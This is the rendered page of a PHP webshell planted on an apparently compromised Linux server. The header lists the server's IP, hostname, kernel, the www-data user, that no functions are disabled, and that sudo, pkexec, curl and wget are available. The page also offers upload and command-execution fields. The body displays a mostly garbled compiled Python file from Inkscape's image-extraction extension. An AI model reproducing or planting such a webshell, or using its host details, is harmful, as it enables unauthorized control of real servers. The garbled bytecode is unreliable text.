403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/image_extract.cpython-310.pyc
o

0�a�
�@s|dZddlZddlZddlmZzddlmZWney'ddlmZYnwGdd�dej�Z	e
dkr<e	���dSdS)	z
Extract embedded images.
�N)�Image)�decodebytes)�decodestringc@s4eZdZdZdd�Zdd�Zedd��Zdd	�Zd
S)�ExtractImagez$Extract images and save to filenamescCs*|jddtjddd�|jdddd	�dS)
Nz-sz--selectedonlyzExtract only selected imagesT)�type�help�defaultz
--filepath�.zLocation to save the images.)rr)�add_argument�inkex�Boolean)�self�pars�r�//usr/share/inkscape/extensions/image_extract.py�
add_arguments#s�
�zExtractImage.add_argumentscCs:|jjr|jj�t�n|j�d�}|D]}|�|�qdS)Nz//svg:image)�options�selectedonly�svg�	selection�filterr�xpath�
extract_image)r
�elems�elemrrr�effect)s�
��zExtractImage.effectcCs2|�dd�d�d�d}ddddd	��||�S)
z*Return an extension based on the mime type�/��+rr	z.svgz.jpgz.ico)zsvg+xml�jpeg�icon)�split�get)�mime�partrrr�mime_to_ext0s��zExtractImage.mime_to_extc
CsT|�d�}|�d�sdS|j|jjdd�}tj�|�s t�|�z|dd�}|�	dd�\}}|�	dd�\}}Wnt
yGt�d	�YdSw|d
krVt�d�
|��dS|�|�}tj�||�d�|�}tj�|�rwt�d
�
|��dS|�d�
|��t|d��}	|	�t|�d���Wd�n1s�wY|�dtj�|��dS)z(Extract the node as if it were an image.z
xlink:hrefzdata:N)r��;r�,zInvalid image format found�base64zCan't decode encoding: {}�idz.Can't extract image, filename already used: {}zImage extracted to: {}�wbzutf-8)r"�
startswith�
absolute_hrefr�filepath�os�path�isdir�makedirsr!�
ValueErrorr�errormsg�formatr%�join�isfile�msg�open�writer�encode�set�realpath)
r
�node�xlink�save_to�data�mimetype�base�file_ext�pathwext�fhlrrrr<s6



�
�zExtractImage.extract_imageN)	�__name__�
__module__�__qualname__�__doc__rr�staticmethodr%rrrrrr!s
r�__main__)rJr/rrr)r�ImportErrorr�EffectExtensionrrG�runrrrr�<module>s�C�

Youez - 2016 - github.com/yon3zu
LinuXploit